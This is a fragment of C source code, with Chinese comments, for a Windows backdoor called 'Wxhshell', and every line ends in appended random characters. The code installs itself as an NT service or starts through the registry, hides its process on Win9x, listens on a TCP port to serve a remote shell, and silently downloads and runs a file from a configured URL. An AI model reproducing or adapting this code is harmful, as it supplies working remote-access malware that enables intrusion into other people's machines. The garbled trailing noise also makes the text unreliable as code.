DWORD ExitStatus; 8<KC-|y.
DWORD PebBaseAddress; 8DbP$Wwi
DWORD AffinityMask; C@-cLk
DWORD BasePriority; a1[J>
ULONG UniqueProcessId; Ml{4)%~Y7f
ULONG InheritedFromUniqueProcessId; ,JTyOBB<I
} PROCESS_BASIC_INFORMATION; A`>^A]%
hhI*2|i"L
PROCNTQSIP NtQueryInformationProcess; i }Zz[b
0tPwhJ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5lM 3In@
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $BB^xJ\O
E8<,j})*
HANDLE hProcess; npbf>n^R
PROCESS_BASIC_INFORMATION pbi; %.Kr`#lCr
fD8GAav
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sEZ2DnDI
if(NULL == hInst ) return 0; KZaiy*>)
De>,i%`Q,D
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r?^L/HGc
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HzuG- V
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A 2\3.3
:b_hF
if (!NtQueryInformationProcess) return 0; /rK/l
qF`]}7"^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [(.lfa P
if(!hProcess) return 0; 'dv(
k)8*d{ *
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #G?",,&dM
-*-"kzgd
CloseHandle(hProcess); u09D`QPP]
1-.i^Hal
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /len8FRf
if(hProcess==NULL) return 0; %rEP.T\i
*TCV}=V G
HMODULE hMod; qDfhR`1k
char procName[255]; +apn3\_
unsigned long cbNeeded; TQ[J,
r/0AM}[!*j
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vNZ"x)?
[[ Nn~7
CloseHandle(hProcess); 2uF'\y
9'|_1Q.b^
if(strstr(procName,"services")) return 1; // 以服务启动 *xKy^f
q%)."10}]
return 0; // 注册表启动 /R6\_oM
} mQ<Vwx0
55,2eg#{O
// 主模块 XXD4T9Wy
int StartWxhshell(LPSTR lpCmdLine) 9OlJC[
{ SaRn>n\
SOCKET wsl; kn`O3cW/
BOOL val=TRUE; B&EUvY '
int port=0; ]{0OPU
struct sockaddr_in door; zcio\P=^|B
3q6FV7Fv&b
if(wscfg.ws_autoins) Install(); _U,Hi?b"$}
"1p,
r&}
port=atoi(lpCmdLine); +]~}kvk:
/IHF
if(port<=0) port=wscfg.ws_port; 6J cXhlB`
5F]2.<i
WSADATA data; "=$uv
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ty3.u9c4
S]4!uv^y
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 7$*x&We
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4]xD-sc
door.sin_family = AF_INET; X8~?uroq
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z8f?uF
door.sin_port = htons(port); RS2uk7MB
\(zUI
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I-Am9\
closesocket(wsl); _! ?a9
return 1; S&Hgr_/}c
} ],'"iVh
{Z>Mnw"R
if(listen(wsl,2) == INVALID_SOCKET) { %P C[-(Q
closesocket(wsl); ~;t/VsgGW
return 1; ]v+yeGIK S
} Ak3V< =gx
Wxhshell(wsl); w5t|C>
WSACleanup(); yEkwdx5!(
@R`Ao9n9V
return 0; fd&>p
bH%d*
} g?@fHFct
R\x3'([A5
// 以NT服务方式启动 QM7BFS;
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E7I$GD
{ U@53VmrOy
DWORD status = 0; o;OEb
DWORD specificError = 0xfffffff; +{%)}?F
m<J:6^H@
serviceStatus.dwServiceType = SERVICE_WIN32; |:L}/onK
serviceStatus.dwCurrentState = SERVICE_START_PENDING; VWk{?*Dp
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ku#WQL
serviceStatus.dwWin32ExitCode = 0; BP1<:T'.q`
serviceStatus.dwServiceSpecificExitCode = 0; h1$75E?,
serviceStatus.dwCheckPoint = 0; _KZTY`/*
serviceStatus.dwWaitHint = 0; l4U
.kB!',v\
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <driD'=F
if (hServiceStatusHandle==0) return; qTGi9OP6/
{=;<1PykLb
status = GetLastError(); nW
oh(a
if (status!=NO_ERROR) :*YnH&
{ drbim8!q~
serviceStatus.dwCurrentState = SERVICE_STOPPED; 1I40N[PE)
serviceStatus.dwCheckPoint = 0; T`GiM%R;g
serviceStatus.dwWaitHint = 0; Q!r` G
serviceStatus.dwWin32ExitCode = status; Mt@Ma ]!
serviceStatus.dwServiceSpecificExitCode = specificError; 2G_]Y8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); dZ4c!3'F
return; K87yQOjPv
} -wh
'($$-P\/
serviceStatus.dwCurrentState = SERVICE_RUNNING; '1~;^rU
serviceStatus.dwCheckPoint = 0; 8d&%H,
serviceStatus.dwWaitHint = 0; U.Y7]#P:
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $weC '-n@
} Y8N+v+V/
MSB/O.
// 处理NT服务事件,比如:启动、停止 }i^$
li@
VOID WINAPI NTServiceHandler(DWORD fdwControl) kM(m$Oo.
{ }T}xVd0
switch(fdwControl) e\!Aoky
{ ]zn3nhBI
case SERVICE_CONTROL_STOP: *;U<b
serviceStatus.dwWin32ExitCode = 0; xqQK-?k
serviceStatus.dwCurrentState = SERVICE_STOPPED; \u;`Lf
serviceStatus.dwCheckPoint = 0; KN>h*eze
serviceStatus.dwWaitHint = 0; +=sw&DH
{ nYe:$t3F=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B>@l(e)b
} R`B} T<*
return; `Jh<8~1
case SERVICE_CONTROL_PAUSE: 0E)M6
jJ
serviceStatus.dwCurrentState = SERVICE_PAUSED; c0;rvw7
break; (6b0rqPF
case SERVICE_CONTROL_CONTINUE: v8n^~=SH
serviceStatus.dwCurrentState = SERVICE_RUNNING; Wfy+9"-;s
break; }_('3C,Ba
case SERVICE_CONTROL_INTERROGATE: YOUB%N9+
break; G,<l}(tEG
}; U+C^"[B
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jmcys
_N3
} ^;tB,7:*V
|dDKO
// 标准应用程序主函数 ZB}A^X
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "oyBF CW
{ #%w)w R3
~Yc!~Rz
// 获取操作系统版本 O%haaL\
OsIsNt=GetOsVer(); 5=%KK3
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7p1B"%
qw>vu7/z
// 从命令行安装 }D.\2x(J
if(strpbrk(lpCmdLine,"iI")) Install(); A;dD'Kgl
FZIC|uz
// 下载执行文件 n{&;@mgI
if(wscfg.ws_downexe) { K\59vtga
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p#_5w
WinExec(wscfg.ws_filenam,SW_HIDE); X{<taD2~
} ayQeT
Hsd76z#8
if(!OsIsNt) { B^/k`h6J
// 如果时win9x,隐藏进程并且设置为注册表启动 B9%%jEH*
HideProc(); ) xKW
StartWxhshell(lpCmdLine); @LSh=o+
} V!>j:"
else ]>Gi_20*.
if(StartFromService()) 1[$zdv{A
// 以服务方式启动 B2'TRXIm1U
StartServiceCtrlDispatcher(DispatchTable); p\9}}t7n
else FOsxId[f9
// 普通方式启动 sriDta?Cz
StartWxhshell(lpCmdLine); 29VX-45
Q'JK *.l
return 0; /oLY\>pD
}